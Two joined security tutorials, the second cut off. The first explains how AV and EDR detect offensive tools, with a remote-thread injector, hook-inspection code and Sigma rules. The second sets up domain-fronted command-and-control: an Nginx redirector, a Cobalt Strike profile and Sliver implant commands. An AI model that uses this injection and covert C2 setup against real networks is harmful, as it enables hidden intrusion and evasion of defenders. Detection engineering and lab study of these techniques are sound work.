AV and EDR Concepts: How Detections Work Against Offensive Tools
Objective: Take apart how modern AV and EDR products actually detect offensive tooling, from PE signatures on disk to inline NTDLL hooks, kernel callbacks, ETW-TI, AMSI, and WFP. You’ll build a small lab, watch every layer fire against a self-written injector, and then write the Sigma rule that catches it. By the end you should be able to reason about where a technique gets caught and why, not just guess.
1. AV vs EDR: What’s Actually Different
Traditional AV was a scanner glued to a file-system minifilter. It read bytes off disk, compared them to a signature database, and quarantined matches. That model still exists inside every EDR (nobody throws away a working checker), but it’s now the smallest part of the pipeline. An EDR is a sensor fabric: multiple components collecting different signal types and shipping them to a correlation engine.
The practical implication for a red teamer: obfuscating your binary defeats the AV scanner and does approximately nothing to the EDR. The EDR still sees WriteProcessMemory land followed by CreateRemoteThread starting in an RWX region with no backing module, and that behavioral chain is what actually kills the operation. Signature evasion is table stakes. Behavior is the game.
A modern EDR agent typically has these moving parts:
| Component | Role |
|---|---|
| User-mode service | Config, telemetry buffering, cloud upload |
| Injected DLL | Inline hooks in ntdll.dll inside every process |
| Kernel driver(s) | Registers callbacks in ntoskrnl, WFP callouts, self-protection |
| File-system minifilter | Registered via FltRegisterFilter, sees IRPs, blocks known-bad on write |
| ETW consumer | Subscribes to providers including Microsoft-Windows-Threat-Intelligence |
| Transport thread | Uploads events to the back-end for correlation |
Detection capability equals which signals it subscribes to multiplied by how well it correlates them. Not architecture. Two products with identical block diagrams can have wildly different detection rates because one wrote better sequence rules.

2. Static Detection: Why Just Repacking Doesn’t Help
The static engine still runs the moment a file touches disk (or memory, via AmsiScanBuffer and the on-access minifilter). It checks:
- Byte signatures. Classic YARA-style pattern matches against known offsets, often anchored on shellcode decoders, string constants, or Sleep-mask stubs.
- IMPHASH. MD5 of the ordered PE import table. IMPHASH survives repacking, string obfuscation, and section renaming because you can’t change what the file imports without changing what it does. Two Cobalt Strike beacon loaders written a year apart still share an IMPHASH if the import layout matches.
- Fuzzy hashing (ssdeep, TLSH). Detects near-duplicate binaries. Flip a handful of bytes and the fuzzy score barely moves.
- Entropy. Shannon entropy over 7.0 on a
.textsection screams “packed.” Not malicious by itself, but a strong prior. - Authenticode. Unsigned or revoked-cert binaries get harsher heuristics and often reduced execution allow-lists.
The takeaway: if you renamed strings and packed the payload but the imports still contain VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, and OpenProcess, the IMPHASH is going to look familiar to the vendor’s clustering pipeline. Resolve APIs dynamically (T1027.007) if you care.
3. Userland Hooks: Inside Your Own Process
When a new process is created, the EDR’s kernel driver, having registered via PsSetCreateProcessNotifyRoutineEx and PsSetLoadImageNotifyRoutine, gets notified early enough to arrange for the userland DLL to be mapped into the address space of the new process. Once that DLL is in, it walks the export table of ntdll.dll and patches the first 5 to 15 bytes of each function of interest with a trampoline into itself.
Here’s the anatomy of a typical patched prologue on x64:
; NtOpenProcess, unhooked (Windows 11 22H2, illustrative)
4C 8B D1 mov r10, rcx ; syscall trampoline
B8 26 00 00 00 mov eax, 26h ; syscall number
F6 04 25 08 03 FE 7F test byte [7FFE0308h], 1
75 03 jne short +3
0F 05 syscall
C3 ret
; NtOpenProcess, hooked
E9 xx xx xx xx jmp <edr.dll+offset> ; 5-byte JMP rel32
90 90 90 90 90 (padding / preserved bytes stashed elsewhere)
The EDR’s DLL receives the redirected call, reads the arguments off the stack and registers, applies whatever policy it wants (block, allow, tag), then either returns an error or lets the call through to the real syscall stub. The functions consistently hooked across vendors are the ones that gate the interesting behaviors:
| Function | What it exposes |
|---|---|
NtOpenProcess | Handle acquisition (credential dump prep, injection prep) |
NtAllocateVirtualMemory | Shellcode staging, especially PAGE_EXECUTE_READWRITE |
NtWriteVirtualMemory | Cross-process writes (injection) |
NtCreateThreadEx | Remote thread creation |
NtProtectVirtualMemory | RW to RX flips (shellcode activation) |
NtMapViewOfSection | Section-based injection, hollowing |
NtQueueApcThread | APC injection |
Exercise A: See the JMP with Your Own Eyes
Compile and run this from an unprivileged shell inside a VM that has any EDR (or Defender with ATP telemetry) installed. Compare the first 16 bytes of the in-memory ntdll copy against a fresh disk mapping.
// lab_hook_inspector.c
// Build: cl /W4 lab_hook_inspector.c
#include <windows.h>
#include <stdio.h>
static void check_hook(const char *func_name) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
FARPROC fn_mem = GetProcAddress(hNtdll, func_name);
HMODULE hDisk = LoadLibraryExA("C:\\Windows\\System32\\ntdll.dll",
NULL, DONT_RESOLVE_DLL_REFERENCES);
FARPROC fn_disk = GetProcAddress(hDisk, func_name);
printf("[%s]\n in-memory : ", func_name);
for (int i = 0; i < 16; i++) printf("%02X ", ((BYTE*)fn_mem)[i]);
printf("\n from disk : ");
for (int i = 0; i < 16; i++) printf("%02X ", ((BYTE*)fn_disk)[i]);
printf("\n hooked? : %s\n\n",
memcmp(fn_mem, fn_disk, 5) ? "YES (first 5 bytes differ)" : "NO");
FreeLibrary(hDisk);
}
int main(void) {
const char *targets[] = {
"NtOpenProcess", "NtAllocateVirtualMemory",
"NtWriteVirtualMemory", "NtCreateThreadEx",
"NtProtectVirtualMemory", NULL
};
for (int i = 0; targets[i]; i++) check_hook(targets[i]);
return 0;
}
On a hooked box you’ll see the in-memory prologue start with E9 (relative JMP) or FF 25 (indirect JMP). On a stock Windows install with no third-party EDR you’ll usually see identical bytes, which is itself useful: it means Defender’s user-mode component doesn’t do inline hooks the way CrowdStrike, SentinelOne, or Elastic do. Different vendors, different surface area.
Pair this with Sysmon Event ID 7 (Image Load) captured while lab_hook_inspector.exe starts. You’ll see the EDR DLL loaded and amsi.dll mapped in early. That EDR DLL mapping is the hook installer.

4. Kernel Callbacks: The EDR’s Eyes in Ring 0
Above Ring 3 the EDR loses the ability to inline-patch code, PatchGuard prohibits it, but Microsoft provides a set of documented callback registration APIs so the driver can be notified of security-relevant events. This is the layer where userland-only bypasses die.
// Process creation/termination
NTSTATUS PsSetCreateProcessNotifyRoutine(
PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
BOOLEAN Remove);
// Extended: allows *blocking* process creation via CreationStatus
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
BOOLEAN Remove);
NTSTATUS PsSetLoadImageNotifyRoutine(
PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine);
NTSTATUS PsSetCreateThreadNotifyRoutine(
PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine);
// Filter/mediate handle operations (block OpenProcess on lsass, etc.)
NTSTATUS ObRegisterCallbacks(
POB_CALLBACK_REGISTRATION CallbackRegistration,
PVOID *RegistrationHandle);
NTSTATUS CmRegisterCallback(
PEX_CALLBACK_FUNCTION Function,
PVOID Context,
PLARGE_INTEGER Cookie);
NTSTATUS FltRegisterFilter(
PDRIVER_OBJECT Driver,
const FLT_REGISTRATION *Registration,
PFLT_FILTER *RetFilter);
Internally, the kernel stores each set of process/thread/image callbacks in a fixed-size array. Process notifications live in nt!PspCreateProcessNotifyRoutine. When a process is created, nt!PspCallProcessNotifyRoutines iterates over the array and invokes each registered function. The pointers stored there are EX_FAST_REF values, so the low bits are reference-count flags and you have to mask them off before you can resolve a symbol.
Exercise B: Enumerate Registered Callbacks in WinDbg
Boot the lab VM with bcdedit /debug on and attach WinDbg over network (kdnet). In the kernel-mode session:
kd> dq nt!PspCreateProcessNotifyRoutine L10
fffff800`1234a010 ffffb001`23456780 ffffb001`87654322
fffff800`1234a020 ffffb001`aabbcc03 0000000000000000
...
kd> ? ffffb001`23456780 & 0xFFFFFFFFFFFFFFF8
Evaluate expression: -87... = ffffb001`23456780
kd> ln ffffb001`23456780
(fffff801`04a1e120) WdFilter!MpCreateProcessNotifyRoutineEx
Repeat for the sibling arrays:
kd> dq nt!PspCreateThreadNotifyRoutine L8
kd> dq nt!PspLoadImageNotifyRoutine L8
On a fresh Windows 11 with only Defender + Sysmon installed you should see entries resolving to WdFilter!Mp* (Defender’s minifilter/driver) and SysmonDrv!*. Install a third-party EDR and one or more slots will resolve into its driver, for example CSAgent!* or SentinelMonitor!*. This is how you know, from a defender’s chair or a research chair, exactly which sensors are live.
The important detail: PsSetCreateProcessNotifyRoutineEx gives the driver an out-parameter CreationStatus. Setting it to a failure code aborts the process launch entirely. That’s not passive telemetry, that’s a policy chokepoint.
5. ETW and the Threat-Intelligence Provider
ETW is a pub/sub tracing framework baked into the kernel. Providers publish events, sessions filter and buffer them, and consumers read the buffered events. Every interesting subsystem in Windows exposes one or more providers.
For offensive-tool detection, these are the ones you care about:
| Provider | GUID | Coverage |
|---|---|---|
Microsoft-Windows-Threat-Intelligence | {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} | Kernel-side memory ops, thread manipulation, APCs, LSASS reads |
Microsoft-Windows-PowerShell | {A0C1853B-5C40-4B15-8766-3CF1C58F985A} | Script block and module logging |
Microsoft-Antimalware-Scan-Interface | {2A576B87-09A7-520E-C21A-4942F0271D67} | AMSI scan results |
Microsoft-Windows-DotNETRuntime | {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} | Assembly loads, JIT |
Microsoft-Windows-DNS-Client | {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D} | DNS resolutions |
Microsoft-Windows-Kernel-Process | {22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716} | Process/thread/image |
ETW-TI (Threat-Intelligence) is the one worth understanding in depth. Because PatchGuard prevents hooking the SSDT, vendors can’t cleanly intercept syscall arguments in the kernel through classic patching. Microsoft’s answer was to instrument the relevant kernel paths themselves and emit structured events on this provider. The events come from the kernel, so a userland direct-syscall bypass, which fools the inline ntdll hook, still fires ETW-TI. Bypassing it generally means executing in Ring 0.
ETW-TI is a Secure ETW channel. Consumers must run as Protected Process Light (anti-malware light PPL) or use SeSystemProfilePrivilege in a driver-backed context. In your lab you can either sign a small consumer driver with a test cert (bcdedit /set testsigning on) or use SilkETW / krabsetw as PPL-hosted consumers.
Exercise C: Watch ETW-TI Fire on Remote Allocation
Stand up the lab injector. Keep it minimal so the reader can point at each line and say “that’s the ntdll call the EDR hooks.”
// injector_lab.c
// Build: cl /W4 injector_lab.c
#include <windows.h>
#include <stdio.h>
int main(int argc, char** argv) {
if (argc < 2) { printf("usage: injector_lab <pid>\n"); return 1; }
DWORD pid = (DWORD)atoi(argv[1]);
// Benign 6-byte payload: int3; ret; padding. Detonation is not the point.
BYTE payload[] = { 0xCC, 0xC3, 0x90, 0x90, 0x90, 0x90 };
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) { printf("OpenProcess failed: %lu\n", GetLastError()); return 1; }
LPVOID remote = VirtualAllocEx(hProc, NULL, sizeof(payload),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!remote) { printf("VirtualAllocEx failed: %lu\n", GetLastError()); return 1; }
SIZE_T written = 0;
WriteProcessMemory(hProc, remote, payload, sizeof(payload), &written);
HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remote,
NULL, 0, NULL);
printf("Injected. Remote thread handle: %p\n", hThr);
return 0;
}
Start a SilkETW capture on the TI provider, then run the injector against a Notepad instance:
# Elevated. SilkETW handles the PPL/consumer plumbing.
SilkETW.exe -t kernel -pn Microsoft-Windows-Threat-Intelligence `
-ot file -p C:\lab\etwti_output.json
# In another window:
Start-Process notepad ; Start-Sleep 1
$pid_target = (Get-Process notepad | Select -First 1).Id
.\injector_lab.exe $pid_target
Grep the JSON for the interesting task names:
| Task name | Fires on |
|---|---|
KERNEL_THREATINT_TASK_ALLOCVM_REMOTE | NtAllocateVirtualMemory targeting remote PID |
KERNEL_THREATINT_TASK_WRITEVM_REMOTE | NtWriteVirtualMemory targeting remote PID |
KERNEL_THREATINT_TASK_MAPVIEW_REMOTE | NtMapViewOfSection targeting remote PID |
KERNEL_THREATINT_TASK_QUEUEUSERAPC_REMOTE | NtQueueApcThread targeting remote thread |
KERNEL_THREATINT_TASK_SETTHREADCONTEXT | NtSetContextThread (thread hijacking) |
Each event carries CallingProcessId, TargetProcessId, BaseAddress, RegionSize, and Protect. Notice that Protect = 0x40 (PAGE_EXECUTE_READWRITE) is a huge tell. Even switching to allocate RW and then flipping to RX will just move the tell to KERNEL_THREATINT_TASK_PROTECTVM_REMOTE in a subsequent event: the sequence is what gets you.
A quick lived-in gotcha: the first time I set this up, the JSON was empty and I burned an hour thinking my provider GUID was wrong. It wasn’t. SilkETW was running non-elevated and silently failed the PPL requirements. Always start ETW-TI consumers from an elevated shell and verify with logman query -ets.

6. AMSI: The Scanner Inside Script Hosts
AMSI is a COM interface baked into PowerShell, VBScript, JScript, the .NET CLR, and Office VBA. Every time one of those hosts is about to execute a chunk of content, it calls into amsi.dll which relays the buffer to whatever AV/EDR has registered as an AMSI provider under HKLM\SOFTWARE\Microsoft\AMSI\Providers\{GUID}.
Call chain:
powershell.exe
-> amsi.dll (mapped at startup)
-> AmsiInitialize / AmsiOpenSession
-> AmsiScanBuffer(ctx, buffer, len, "PowerShell", session, &result)
-> COM RPC to registered provider (e.g. MpOav.dll for Defender)
-> result = AMSI_RESULT_DETECTED (0x8000) means malicious
Key exports:
| Function | Purpose |
|---|---|
AmsiInitialize | Get a scan context tied to the host name |
AmsiOpenSession | Start a session so related buffers can be correlated |
AmsiScanBuffer | Scan raw bytes with an optional content name |
AmsiScanString | Wide-string variant |
AmsiResultIsMalware | Macro: true if result >= AMSI_RESULT_DETECTED |
Exercise D: Watch AmsiScanBuffer Fire
Attach API Monitor (rohitab.com/apimonitor) to powershell.exe, filter modules to amsi.dll, and turn on tracing for AmsiScanBuffer. Then in the PowerShell window paste a string known to trigger the Defender AMSI signature, the classic AMSI test string works well because it’s not actually malicious:
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
API Monitor should show a call to AmsiScanBuffer with the string in the buffer, the length, contentName = "PowerShell", and a return AMSI_RESULT of 32768 (0x8000, AMSI_RESULT_DETECTED). PowerShell will render its “This script contains malicious content” red block.
That’s the whole “AMSI catches PowerShell payloads” story. It’s a synchronous scan call that returns a verdict before the buffer executes. The typical bypass chain patches or unhooks the client side (patching AmsiScanBuffer to return S_OK and AMSI_RESULT_CLEAN), which is exactly why the corresponding ETW event (Microsoft-Antimalware-Scan-Interface provider) is so useful to defenders: it fires even when the client tries to lie.
7. WFP: Network Visibility in the Kernel
The Windows Filtering Platform is the framework that sits under everything network-adjacent, including the built-in firewall. EDRs register callout drivers with FwpsCalloutRegister and hang filters off layers like FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 to inspect connect / accept events and beacon flows. That’s how the EDR observes C2 without depending on the target application’s user-mode stack.
Two implications for red-team tooling:
- Encrypted C2 doesn’t hide the flow metadata. WFP still sees destination, timing, JA3/JA4 fingerprints (via other hooks), and cadence. Beacon jitter isn’t optional if you’re serious.
- WFP is also used offensively by tools like “EDR Silencer” (
T1562.006) to block outbound traffic from the EDR’s own processes, so telemetry piles up locally and never reaches the cloud. Defenders should watch WFP filter additions targeting security processes withEventID 5157(Filtering Platform Connection blocked) and events under providerMicrosoft-Windows-WFP.
8. Behavioral Correlation: The Sequence Is the Signal
None of the individual signals above catch a modern operator on their own. The correlation engine does. Vendors ship rules that look like state machines:
winword.exe->cmd.exe->powershell.exewithin 5s: macro-borne dropper.NtAllocateVirtualMemory(RWX)followed byNtWriteVirtualMemoryon the same target followed byNtCreateThreadExon that target within a short window: classic remote-thread injection.OpenProcess(lsass.exe, PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION)from a non-whitelisted image: credential dump attempt.- A signed LOLBin (
rundll32,regsvr32,mshta) making outbound TCP to a rare destination shortly after being spawned by a non-office parent: LOLBin C2.
You can bypass one hook. You can even bypass three. Getting the entire chain to look benign across static, userland, kernel, ETW, and network signals is the actual work.

9. Detection Engineering: Catching Your Own Injector
Now flip chairs. The injector from Exercise C should be trivial for a competent defender to catch, and the exercise is worth doing because it forces you to reason about which signal you rely on. Sysmon Event ID 8 is the direct hit; here’s a Sigma rule targeted at it.
title: Remote Thread Injection From Non-System Path
id: 8f6a2b3c-2b2f-4a2f-92a1-2f0e58e2b19a
status: experimental
description: >
Detects CreateRemoteThread originating from a binary outside standard
Windows/Program Files locations, into a process other than itself.
Classic shellcode-injection pattern used by injector_lab and countless
real-world loaders.
logsource:
category: create_remote_thread
product: windows
detection:
selection:
EventID: 8
filter_system_paths:
SourceImage|startswith:
- 'C:\Windows\'
- 'C:\Program Files\'
- 'C:\Program Files (x86)\'
filter_self:
SourceProcessId: TargetProcessId
condition: selection and not filter_system_paths and not filter_self
falsepositives:
- Legitimate cross-process instrumentation (debuggers, profilers)
- Some AV/EDR components performing remote threads (whitelist by SourceImage)
level: high
tags:
- attack.defense_evasion
- attack.t1055
- attack.t1055.003
A Sigma rule is three moving parts: selection (what you want to match), one or more filter blocks (what you want to exclude), and the condition combining them. Keep filters as separate keyed maps so the rule stays readable when the whitelist grows.
Pair the rule with these fields on Event ID 8 during hunt: StartAddress outside any loaded module (walk Modules for the target PID and check the range) and StartModule = null are hard signals. Injection into a freshly allocated RWX region always leaves that fingerprint.
For LSASS-touching payloads, layer a rule on Event ID 10:
title: LSASS Access With Read/Query From Non-Standard Image
id: 8e2a1234-1a1a-4b4b-9c9c-2f0e58e2b19b
logsource:
category: process_access
product: windows
detection:
selection:
EventID: 10
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1010'
- '0x1410'
- '0x1F3FFF'
filter_signed_sec_products:
SourceImage|startswith:
- 'C:\Program Files\Windows Defender\'
- 'C:\Program Files (x86)\Microsoft\EDR\'
condition: selection and not filter_signed_sec_products
level: critical
tags:
- attack.credential_access
- attack.t1003.001
10. Hardening Playbook
If the machine you’re defending has these switched on, half the tradecraft in this post gets a lot harder to land.
RunAsPPL = 1underHKLM\SYSTEM\CurrentControlSet\Control\Lsa. LSASS becomes PPL, raising the required protection level to open it for read.- HVCI (Hypervisor-Protected Code Integrity) via
HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard:EnableVirtualizationBasedSecurity = 1,HypervisorEnforcedCodeIntegrity = 1. Unsigned kernel drivers stop loading. BYOVD dies. - Microsoft Vulnerable Driver Blocklist:
HKLM\SYSTEM\CurrentControlSet\Control\CI\Config->VulnerableDriverBlocklistEnable = 1. - ASR rules: block Office child processes, credential stealing from LSASS, unsigned executables off removable media.
- PowerShell Constrained Language Mode where the workload allows.
- Script Block Logging and Module Logging on:
–HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging->EnableScriptBlockLogging = 1
–HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging->EnableModuleLogging = 1,ModuleNames = * - Deploy a real Sysmon config. SwiftOnSecurity’s
sysmon-configand Olaf Hartong’ssysmon-modular(with ATT&CK-tagged rules) are the two community baselines worth starting from. - Baseline audit policy:
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Security System Extension" /success:enable
auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
auditpol /set /subcategory:"Kernel Object" /success:enable
11. Tools
| Tool | Use | Link |
|---|---|---|
| Sysmon | Rich process/thread/image/registry/network telemetry | learn.microsoft.com/sysinternals |
| WinDbg | Kernel debugging, callback enumeration | learn.microsoft.com |
| x64dbg | User-mode debugger for inline-hook inspection | x64dbg.com |
| Process Monitor | File/registry/process traces from an EDR-agnostic angle | learn.microsoft.com/sysinternals |
| API Monitor | Attach and trace amsi.dll and other APIs | rohitab.com/apimonitor |
| SilkETW / krabsetw | ETW consumer front-ends including ETW-TI | github.com/mandiant/SilkETW |
| Sigma | Vendor-neutral detection rule format | github.com/SigmaHQ/sigma |
| Sysmon configs | Community baselines | github.com/SwiftOnSecurity, github.com/olafhartong |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Process Injection | T1055 | Sysmon EID 8, ETW-TI ALLOCVM_REMOTE / WRITEVM_REMOTE |
| DLL Injection | T1055.001 | EID 8 with StartModule = LoadLibrary in target |
| PE Injection | T1055.002 | EID 8 + RWX region + no backing image |
| Thread Execution Hijacking | T1055.003 | ETW-TI SETTHREADCONTEXT, EID 10 with thread-context access |
| Process Hollowing | T1055.012 | Sysmon EID 25 (ProcessTampering), ETW-TI MAPVIEW_REMOTE |
| Impair Defenses: Disable/Modify Tools | T1562.001 | AMSI ETW provider events, patch of amsi.dll in memory |
| Impair Defenses: Disable Event Logging | T1562.002 | Sudden ETW provider disable, gaps in EID sequence |
| Impair Defenses: Indicator Blocking | T1562.006 | WFP filter add against security-product processes, EID 5157 |
| Obfuscated Files or Information | T1027 | IMPHASH clustering, entropy > 7.0 on .text |
| Dynamic API Resolution | T1027.007 | Sparse IAT + calls resolved via GetProcAddress at runtime |
| System Binary Proxy Execution | T1218 | EID 1 with rundll32/regsvr32/mshta and unusual cmdline |
| DLL Side-Loading | T1574.002 | EID 7 loading unsigned DLL next to a signed EXE |
| Access Token Manipulation | T1134 | Token duplication API traces, sudden SID change |
| OS Credential Dumping: LSASS Memory | T1003.001 | Sysmon EID 10 on lsass.exe from non-whitelisted image |
Summary
- Modern EDR beats offensive tooling through a stack of signals, not one big signature. Static, userland hooks, kernel callbacks, ETW-TI, AMSI, and WFP each cover a different slice of the attack surface.
- Inline hooks in
ntdll.dllare visible with a 30-line C program. If you can see the JMP, so can a bypass, and so can a hardened detection rule for missing/patched hooks. - Kernel callbacks registered through
PsSetCreateProcessNotifyRoutineEx,PsSetCreateThreadNotifyRoutine,PsSetLoadImageNotifyRoutine,ObRegisterCallbacks, andCmRegisterCallbackare the layer userland tricks cannot reach. - ETW-TI turns the kernel itself into the telemetry source, which is why direct-syscall bypasses of user hooks still get caught. Bypassing it means Ring 0.
- Detection engineering wins by correlating: allocation, write, and thread-create against the same remote PID inside a small time window is the signal, and Sysmon EID 8 plus ETW-TI plus a tuned Sigma rule catches the injector every time.
Related Tutorials
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
- Passive OSINT: Mapping the Target Without Touching It
References
Domain Fronting and CDN Redirection for C2 Resilience
You stand up a team server on a $5 VPS, slap a self-signed cert on it, and point a beacon straight at the IP. It survives about as long as it takes the SOC to check one firewall log. A raw origin IP with no reputation, no cover traffic, and no way to rotate is dead on arrival. The whole point of mature C2 infrastructure is to make the front-facing layer disposable and the team server untouchable, so that burning one does not cost you the other.
Objective: Understand the TLS/HTTP split that makes domain fronting work, build a full CDN-backed redirector chain against your own lab, configure Cobalt Strike and Sliver to front through it, and then hunt the exact same traffic from the blue side using SNI/Host mismatch, JA3, Sysmon, and ETW.
Everything here runs against infrastructure you own. No third-party front domains, no live targets. The technique maps to MITRE ATT&CK T1090.004 (Proxy: Domain Fronting).
1. Why CDN Infrastructure Buys You the Whole Engagement
A good red team infrastructure has one job: move C2 traffic from the target to your team server, undetected, for as long as the engagement lasts. That means separating roles so no single point of failure gives the defender everything.
| Component | Role |
|---|---|
| Team Server | Backend C2 (Cobalt Strike, Sliver, Havoc). Never directly exposed. |
| Redirector / Relay | Nginx or Apache forwarder between the CDN and team server. Filters non-C2 traffic. |
| CDN Distribution | CloudFront distribution, Azure Front Door endpoint, or Cloudflare Worker. The front-facing layer. |
| Front Domain (SNI) | High-reputation domain served by the CDN. The decoy destination passive inspection sees. |
| Host Header / Origin | Your CDN distribution FQDN or custom domain, routing to your redirector. |
If a defender finds the CDN endpoint, they still cannot reach the team server. If the redirector gets burned, you spin up a new one and re-point the CDN. The team server stays put, sessions intact. That layering is the entire value proposition.
2. How Domain Fronting Works: TLS, SNI, and the Host Header
Domain fronting exploits a routing quirk in CDNs that host many customers behind the same edge. The trick is putting one domain in the TLS SNI field and a different domain in the HTTP Host header. The perimeter firewall reads the SNI in cleartext and sees a benign, high-reputation domain. The CDN, after it decrypts the tunnel, reads the Host header and routes to wherever that points, which is you.
Here is the split, layer by layer:
| Layer | Field | Seen by network/firewall | Acted on by CDN |
|---|---|---|---|
| TLS (outer) | SNI (server_name in ClientHello) | trusted-front.cdn.net, cleartext | Selects the TLS cert to present |
| HTTP (inner, inside TLS) | Host header | Encrypted, invisible to passive inspection | Routes to the real C2 origin |
The SNI is a TLS extension (RFC 6066), sent in the ClientHello in plaintext because the client has to tell the server which cert to serve before the tunnel exists. A firewall without TLS interception can only see this. The Host header lives inside the encrypted payload and carries the true backend target. The CDN edge terminates TLS using the front domain’s cert, reads the decrypted Host, and reverse-proxies to the configured origin regardless of which SNI opened the connection.
Roughly, the flow on the wire:
[Beacon] --ClientHello (SNI: trusted-front.cdn.net)--> [Perimeter FW: "just a CDN, allow"]
--TLS established with front-domain cert--> [CDN Edge]
--decrypt--> reads HTTP Host: your-distro.cloudfront.net
--reverse proxy--> [Your Redirector] --> [Team Server]
There is also a “domainless” variant: leave the SNI field blank entirely. Some CDNs that try to enforce SNI-to-Host matching will ignore a blank SNI, letting the front still work. Whether that flies depends entirely on the provider.

3. CDN Provider Landscape: What Still Works
Be honest with yourself here, because operators waste days trying classic cross-customer fronting on providers that killed it years ago. Two distinct patterns matter:
- Classic domain fronting: front domain does not belong to you, you both just happen to sit on the same CDN.
- CDN-as-redirector: your own CDN distribution fronts your own origin. This is what still works reliably and is the primary lab focus.
| Provider | Classic cross-customer fronting | CDN-as-redirector |
|---|---|---|
| AWS CloudFront | Blocked since 2018 (enforces SNI/Host match) | Works: own distribution to own origin |
| Google App Engine | Blocked since 2018 | Limited |
| Azure Front Door / Azure CDN | Config-dependent; profiles have used Fastly and AzureEdge | Works, varies by tier |
| Fastly | Config-dependent | Viable |
| Cloudflare | Config-dependent | Viable (Workers / Tunnels) |
Classic fronting got harder as providers cracked down, but variations like “domain hiding” work in similar ways, and CDN-as-redirector remains fully viable. When you read a 2016 blog promising you can front through some giant consumer domain, assume it is dead and test in your lab before you rely on it.
4. Lab Setup: Building the Full Redirector Chain
Lab topology: a Windows 10/11 victim VM (Defender on), an Ubuntu 22.04 team server, an Ubuntu 22.04 redirector running Nginx, and a Cloudflare (free tier) or CloudFront distribution pointed at the redirector. Use a cheap personal domain for the lab, or /etc/hosts entries if you keep everything local.
Phase 1: Provision the redirector
# On the redirector VM
sudo apt install nginx -y
# Self-signed cert for the redirector-to-teamserver leg (Let's Encrypt if you have a real domain)
openssl req -x509 -newkey rsa:4096 -keyout /etc/ssl/private/c2.key \
-out /etc/ssl/certs/c2.crt -days 365 -nodes -subj "/CN=lab-redirector"
Phase 2: Nginx redirector config
The redirector forwards only known C2 URI patterns and 302s everything else to a decoy. Scanners, sandboxes, and curious analysts get bounced to Microsoft’s homepage. Real beacon traffic gets proxied to the team server.
# /etc/nginx/sites-available/c2-redirect
server {
listen 443 ssl;
ssl_certificate /etc/ssl/certs/c2.crt;
ssl_certificate_key /etc/ssl/private/c2.key;
# Forward only your C2 URIs
location ~* ^/(beacon|updates|check-in) {
proxy_pass https://<TEAM_SERVER_IP>:443;
proxy_set_header Host $host; # preserve Host for the team server
proxy_ssl_verify off;
}
# Everything else is a scanner: bounce it
location / {
return 302 https://www.microsoft.com;
}
}
Lock the redirector down further with allow/deny ACLs so only the CDN’s published egress ranges can hit port 443. If a defender resolves your CDN and tries to connect from anywhere else, the redirector never answers.
Phase 3: CDN distribution (Cloudflare example)
DNS: lab-c2.yourdomain.com -> <REDIRECTOR_IP> (proxied, orange cloud ON)
SSL/TLS: Full (strict)
Firewall: allow only CDN egress IPs -> redirector:443
With the orange cloud on, lab-c2.yourdomain.com resolves to Cloudflare edge IPs, not your redirector. The victim never sees your infrastructure’s real address.

5. Cobalt Strike Malleable C2 Profile for CDN Fronting
Malleable C2 lets you shape Beacon traffic to look like something legitimate. For fronting, the single load-bearing detail is the Host header, and it must appear in both the http-get -> client and http-post -> client blocks. Miss one and your POSTs sail past the CDN unrouted while GETs work, which produces a maddening half-broken beacon.
# profiles/cdn-front.profile
set sleeptime "5000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
http-get {
set uri "/beacon";
client {
header "Host" "lab-c2.yourdomain.com"; # CDN-fronted hostname
header "Accept" "*/*";
}
}
http-post {
set uri "/updates";
client {
header "Host" "lab-c2.yourdomain.com"; # MUST also be here
header "Content-Type" "application/octet-stream";
}
}
ssl-certificate {
set CN "lab-c2.yourdomain.com";
}
CloudFront and most CDNs require your origin to present a valid SSL certificate, so the ssl-certificate block is not optional. Validate before you start anything:
./c2lint profiles/cdn-front.profile
./teamserver "$TEAM_SERVER_IP" "$PASSWORD" profiles/cdn-front.profile
Here is the gotcha that cost me the better part of an afternoon once: a profile that passes c2lint is not guaranteed to work through a CDN. The CDN edge can rewrite HTTP requests. It may strip headers, reorder them, normalise casing, or inject its own (X-Forwarded-For, Via, CF-Ray). If your profile encodes metadata into a header the CDN mangles, the beacon checks in but the tasking silently corrupts. Always capture a real request through the full chain and diff it against what your profile expects. c2lint validates syntax, not the behaviour of somebody else’s edge.
6. Sliver: The Open-Source Alternative
If you do not have a Cobalt Strike license, Sliver supports fronting natively and is free. The relevant knobs are --domain for the front and --host-header for the routing hostname.
# Start the Sliver server
sliver-server
# Generate an HTTPS implant that fronts
generate --http lab-c2.yourdomain.com --host-header lab-c2.yourdomain.com \
--os windows --arch amd64 --format exe --save /tmp/beacon.exe
# Start the HTTPS listener
https --domain lab-c2.yourdomain.com --lport 443
